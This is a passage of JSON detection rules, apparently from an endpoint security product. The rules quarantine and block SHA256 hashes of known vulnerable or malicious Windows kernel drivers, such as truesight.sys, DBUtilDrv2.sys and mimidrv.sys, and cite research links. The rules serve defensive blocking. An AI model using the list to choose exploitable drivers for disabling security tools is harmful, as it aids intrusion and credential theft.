+  "id": "3ce5f9c5-527d-54b3-aec2-cd4ede2f5e37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813374Z",
+  "creation_date": "2026-03-23T11:45:31.813377Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa2848cf2cd9f9b241c73ba092460777573828c50eaafed6983f1c5d62edba84",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ceb8874-4fc4-51f5-9255-3f75fedb782b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981890Z",
+  "creation_date": "2026-03-23T11:45:29.981892Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "129fa1795cffca9973f59df59f880a9f2bdb3aa9873363f8e2f598ccc6e32542",
+  "comment": "Vulnerable Kernel Driver (aka DirectIo.sys) [https://www.loldrivers.io/drivers/ce2d41fd-908f-414c-b6b5-338298f425b8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ceba656-7adf-5d40-8f6b-b98757cf91bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147077Z",
+  "creation_date": "2026-03-23T11:45:31.147079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147084Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7906e164394dcbf1e06cc8001a5f1ddd6c479029e37c65ff5636796be1fac135",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3cfc893a-a638-5270-bd66-ed199be912da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821757Z",
+  "creation_date": "2026-03-23T11:45:30.821760Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821769Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f3684a37b2645fa6827943d9812ffc2d83e89e962935b29874bec7c3714a06f",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d02f2ea-81af-596c-be07-750c5d09c798",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495818Z",
+  "creation_date": "2026-03-23T11:45:31.495820Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495825Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5df98d47f1c72157d3cac0a499296e2e5b741f5aed7aca9134e1952a39dbb55a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d0af958-0118-59a2-bc4a-dc1535b48e0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820106Z",
+  "creation_date": "2026-03-23T11:45:30.820108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820113Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "717242ad6a3afb6f236890caa44501a4be8d0ab019f028ba2c74d3455f065804",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d0dea25-74ee-567c-8db2-be53fe771af9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974644Z",
+  "creation_date": "2026-03-23T11:45:29.974646Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974652Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af45d91fefd4dfffda0ce70957a542b68775368432e52d20dfdf0fc159495c7f",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d0f4486-53c2-5f01-9083-611db0bd78e8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478802Z",
+  "creation_date": "2026-03-23T11:45:31.478805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478815Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6981813c6d68c56fcb1366a57dd34a2f73c365043dcc7d64efb51db3fcff7147",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d367f93-5778-50ad-83e8-f6ae9e3f1afd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615203Z",
+  "creation_date": "2026-03-23T11:45:29.615205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615210Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "745273e1620bc657d2210ae1b5abb49f4f5928829f95c8ef01ce151bdbb4c32f",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d3699b0-31c0-5840-a3f7-e6e7406dc53c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967826Z",
+  "creation_date": "2026-03-23T11:45:29.967830Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967838Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74b432289de1302c53356b92ebebc0ac92e8159ab7746444e1ac85f7e90cd28e",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d38e0f2-c4b2-5389-8a4a-32303f611b71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488845Z",
+  "creation_date": "2026-03-23T11:45:31.488847Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488853Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "02ac34d10a3e72c1fec7ebce30cd20db595bf45efe7e8cde888d2dcfc56dca9a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d3b0db9-7403-5a3b-abce-6c10bdad3f64",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620745Z",
+  "creation_date": "2026-03-23T11:45:29.620747Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620752Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac3f613d457fc4d44fa27b2e0b1baa62c09415705efb5a40a4756da39b3ac165",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d50a747-b61a-59be-a6d4-17147b52a401",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468461Z",
+  "creation_date": "2026-03-23T11:45:30.468464Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468472Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "edf05640ad7caa10756cc4163e926de74157da1d81b4d245b602a36f4c8cb4d0",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d61eae8-4969-59fd-8ba2-f3eb89410789",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453431Z",
+  "creation_date": "2026-03-23T11:45:30.453435Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453444Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c4f56281d762bfaeb2168c13f3349611c8e3443602d2015540a742d6e79e6bc",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d679b27-70a2-5176-8a0b-1e178d0087a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491706Z",
+  "creation_date": "2026-03-23T11:45:31.491709Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491719Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a33b8de796951d3140ce8441be03c748fad27efb1eed5ececd9ce5cc1c9d38c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d91cf19-1299-5782-9365-96483f8bbc75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480493Z",
+  "creation_date": "2026-03-23T11:45:31.480497Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480507Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ecec4fe9e9cbc648b7fb4ebec945268f5f1e2a73cf07efb3c29d67c4fe685a2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d978851-0b46-5ed2-9399-d8641158f61b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480064Z",
+  "creation_date": "2026-03-23T11:45:30.480066Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480071Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68105d0f74ab436d36a741095d9ac08b8316e926727d59f3fe874395b291615c",
+  "comment": "Vulnerable Kernel Driver (aka iscflashx64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3d983f17-85c1-5f33-aaae-e0fa398f14af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159457Z",
+  "creation_date": "2026-03-23T11:45:31.159458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d59246ccbe367e762c60a6dc64ccbca2afed2e3d48339dd461c8736c643a521",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3dbe74ce-1467-51e2-8144-6ed163467f23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816155Z",
+  "creation_date": "2026-03-23T11:45:30.816157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816163Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ad8c38f6e0ca6c93abe3228c8a5d4299430ce0a2eeb80c914326c75ba8a33f9",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3dc19227-8e27-5bc3-ac0c-f517ef56d5b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983229Z",
+  "creation_date": "2026-03-23T11:45:29.983231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983236Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71fe5af0f1564dc187eea8d59c0fbc897712afa07d18316d2080330ba17cf009",
+  "comment": "Vulnerable Kernel Driver (aka DBUtilDrv2.sys) [https://www.loldrivers.io/drivers/bb808089-5857-4df2-8998-753a7106cb44/,https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3dc4b816-2c71-5a94-b3b3-d2158adac29b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822980Z",
+  "creation_date": "2026-03-23T11:45:30.822982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822987Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0dbcf82dc346a49a816b3a6283392c9f2531661e460072ba063be898e5cbda0",
+  "comment": "Vulnerable Kernel Driver (aka SBIOSIO64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3dcacc0c-d480-55a3-9be8-e54d40288aa9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144075Z",
+  "creation_date": "2026-03-23T11:45:32.144077Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144082Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2cd7a0c4e8d24404c92e4ed8539b2136028a8ca663f3432e417b00665493e13f",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3dcc9676-b2d7-5d49-a9d7-1a62bf86854c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
